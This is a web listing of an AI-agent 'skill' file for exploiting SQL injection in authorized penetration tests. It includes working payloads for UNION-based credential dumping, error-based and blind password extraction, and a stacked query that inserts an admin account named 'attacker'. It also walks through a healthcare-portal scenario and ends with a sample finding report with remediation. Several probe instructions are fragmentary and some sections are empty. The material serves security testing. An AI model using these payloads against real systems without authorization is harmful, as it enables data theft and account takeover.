Exploiting sql injection vulnerabilities

From xalgorix/xalgorix · View interactive version

Exploiting sql injection vulnerabilities is an AI agent skill from the GitHub repository xalgorix/xalgorix. Identifies and exploits SQL injection vulnerabilities in web applications during authorized penetration tests using manual techniques and automated tools like sqlmap. The tester detects injection points through error-based, union-based, blind boolean, and time-based blind techniques across all major

How to use this skill

Skill file

Exploiting SQL Injection Vulnerabilities

When to Use

Do not use against databases without written authorization, for extracting or exfiltrating actual customer data beyond what is needed for proof of concept, or against production databases where exploitation could corrupt data integrity.

Prerequisites

Critical: Probes Most Often Missed

SQLi is missed when only the URL id parameter is tested with a single quote.

Be exhaustive and differential:

(string AND numeric), and the Cookie, Referer, User-Agent,

X-Forwarded-For, and Host headers. Many injections live in headers.

arithmetic 1 AND 1=1 / 1-0 / 1*1. A param that ignores quotes can still

be injectable numerically.

often suppressed. Test 0s/5s/10s to rule out noise:

balanced trailing quote. A payload can fail purely due to the wrong comment.

true/false probes, a reproducible time delay, or an OOB DNS hit each confirm

injection. Re-run 2–3x to defeat caching/jitter before reporting.

Identify parameters that interact with the database:

Step 2: Database Fingerprinting

Determine the database engine and version to select appropriate exploitation techniques:

Step 3: Manual Exploitation Techniques

Exploit confirmed injection points using technique-appropriate methods:

```

' UNION SELECT NULL,username,password,NULL FROM users--

```

```

' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT @@version),0x7e))--

```

```

' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a'--

```

```

' AND IF(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a',SLEEP(5),0)--

```

```

'; INSERT INTO users(username,password,role) VALUES('attacker','password','admin')--

```

Step 4: Automated Exploitation with sqlmap

Use sqlmap for efficient exploitation of confirmed injection points:

Step 5: Impact Demonstration and Reporting

Document the full impact of the SQL injection vulnerability:

Key Concepts

| Term | Definition |

|------|------------|

| SQL Injection | A code injection technique that exploits unvalidated user input in SQL queries to manipulate database operations, extract data, or execute administrative operations |

| Union-Based SQLi | Injection technique that appends a UNION SELECT statement to the original query to extract data from other tables in the same response |

| Blind SQL Injection | Injection where the application does not return query results directly; the attacker infers data through boolean responses or time delays |

| Parameterized Query | A prepared SQL statement where user input is passed as parameters rather than concatenated into the query string, preventing injection |

| Second-Order Injection | SQL injection where the malicious payload is stored by the application and executed in a different context or SQL query at a later time |

| Stacked Queries | Executing multiple SQL statements separated by semicolons in a single request, enabling INSERT, UPDATE, or DELETE operations through injection |

| WAF Bypass | Techniques for evading Web Application Firewall rules that block common SQL injection patterns, using encoding, alternate syntax, or fragmentation |

Tools & Systems

Common Scenarios

Scenario: SQL Injection in Healthcare Patient Portal

Context: A healthcare organization's patient portal allows patients to view their medical records, appointments, and billing information. The application uses a PHP backend with MySQL database. The tester has a valid patient account.

Approach:

  1. Map all parameters in the patient portal; identify that the appointment detail page uses /appointment?id=4521
  2. Inject a single quote into the id parameter; receive a MySQL error confirming the parameter is injectable
  3. Use ORDER BY to determine the query returns 7 columns
  4. Construct UNION SELECT to extract table names from information_schema, discovering tables: patients, medical_records, billing, admin_users
  5. Extract admin_users table to reveal 5 administrator accounts with MD5-hashed passwords
  6. Demonstrate that patient medical records for all patients are accessible by querying the medical_records table through the injection point
  7. Document that 15,000+ patient records containing PHI (protected health information) are accessible, constituting a HIPAA violation

Pitfalls:

Output Format

## Finding: SQL Injection in Appointment Detail Parameter

**ID**: SQLI-001
**Severity**: Critical (CVSS 9.8)
**Affected URL**: GET /appointment?id=4521
**Parameter**: id (GET parameter)
**Database**: MySQL 8.0.32
**Injection Type**: Error-based, UNION-based

**Description**:
The appointment detail page concatenates the 'id' URL parameter directly into
a SQL query without parameterization or input validation. This allows an attacker
to inject arbitrary SQL statements and extract data from any table in the database.

**Proof of Concept**:
Request: GET /appointment?id=4521' UNION SELECT 1,username,password,4,5,6,7 FROM admin_users-- -
Response: Returns admin usernames and MD5 password hashes in the page content.

**Data Accessible**:
- patients table: 15,247 records (name, DOB, SSN, address, phone)
- medical_records table: 43,891 records (diagnoses, prescriptions, lab results)
- admin_users table: 5 accounts with MD5-hashed passwords
- billing table: 28,563 records (insurance details, payment information)

**Remediation**:
1. Replace string concatenation with parameterized queries:
   VULNERABLE:  $query = "SELECT * FROM appointments WHERE id = " . $_GET['id'];
   SECURE:      $stmt = $pdo->prepare("SELECT * FROM appointments WHERE id = ?");
                $stmt->execute([$_GET['id']]);
2. Implement input validation to reject non-integer values for the id parameter
3. Apply least-privilege database permissions (read-only for the web application user)
4. Deploy a WAF rule to detect and block SQL injection patterns as defense-in-depth
Use this skill with your AI agent: Open on Skill Issue to copy, download, or add to your library. Works with Claude, ChatGPT, Gemini, Cursor, Windsurf and more.